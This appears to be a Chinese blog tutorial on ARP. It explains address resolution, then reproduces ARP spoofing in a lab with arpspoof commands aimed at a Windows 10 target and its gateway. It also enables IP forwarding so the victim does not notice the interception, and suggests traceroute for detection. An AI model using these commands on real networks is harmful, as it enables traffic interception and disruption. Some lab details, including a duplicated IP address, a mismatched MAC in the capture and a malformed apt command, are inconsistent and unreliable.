ARP攻击与欺骗的原理与复现

发布时间 2023-12-23 10:02:48作者: bey0nd

arp概述

1、arp地址解析协议,把一个已有的ip地址解析成对应的mac地址

2、arp工作在三层,有交换机进行转发,路由器是不会转发ARP协议

arp工作原理

1、现局域网有三台主机A、B、C,一台交换机,三台主机都未互相访问过

2、A主机arp缓存表里没有C主机的MAC地址,A会发送arp广播请求,请求C主机mac地址是什么请告诉A主机

3、交换机会接收到A的广播请求,然后查看自己的mac缓存表,发现没有A主机的记录,会把A连接交换机的1号口对应的mac地址记录在自己的mac地址缓存中,并查看目的mac全是ff

4、交换机将此广播请求转发给除1号接口以外的全部接口,B、C都会受到广播请求

5、所有主机收到请求后拆包到网络层查看目的ip是不是自己,不是就丢弃,是自己则会发送arp响应(此响应包含自己的ip mac、对方ip mac)

6、交换机接收的C主机的arp响应,查看源mac在不在自己缓存表中,没有则记录,查看目的mac与自己缓存对照,进行对应的接口单播转发

7、A主机接收到C主机ARP响应回来的数据帧,就把C主机的MAC地址记录在自己缓存表,A主机此时就知道C主机的MAC地址了。

实验环境

目标靶机 win10 ip地址:192.168.72.112 mac地址:00-0c-29-01-17-62

被访问主机 win7 ip地址:192.168.72.12 mac地址:00-0c-29-df-aa-ff

攻击主机kali ip地址:192.168.72.12 mac地址:00:0c:29:50:9b:3f

未被攻击前

win7主机上查看win10mac地址

win10主机上查看win7mac地址

使用kali对win10靶机发起攻击

更新下载源  下载dsniff
apt-get update
apt-install libc6-dev
apt-get install dsniff

arp攻击命令
arpspoof -i kali网卡名 -t 目标主机ip 被访问者ip
arpspoof -i eth0 -t 192.168.72.112 192.168.72.12


攻击完再次查看

对比192.168.72.12的mac地址已被修改成kali的mac地址,ok 使用被攻击机win10 ping一下win7发现ping不通了

对win10访问外网进行攻击

1、首先确认win10可以ping通www.woniuxy.com

2、查看win10的网关地址和对应的mac地址 

```Plain Text
arp攻击命令
arpspoof -i kali网卡名 -t 目标主机ip 被访问者ip
arpspoof -i eth0 -t 192.168.72.112 192.168.72.2
```

在攻击过程中我们可以抓包分析一下kali对受害机做了什么

192.168.72.2 is 00:0c:29:01:17:62

(kali一直发广播重复说,网关的地址是我的kali的mac地址)

好。我们在win10上再看一下网关对应的mac地址

通过前后对比,发现地址已被修改,ping www.woniuxy.com 已经不通了

为了不被受害者发现,我们可以修改kali的配置文件

```Plain Text
更改文件
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
```

修改完毕,win10正常访问www.woniuxy.com

使用路由追踪再次确认,win10主机访问网址时先经过了什么

因为我的kail机和被攻击机win10使用的网关都是192.168.72.2所以第一跳没有多一个,按正常是kali的网关为第一跳,第二跳才为win10的网关。

我们可以通过路由追踪来简单判断自己主机是否被arp攻击。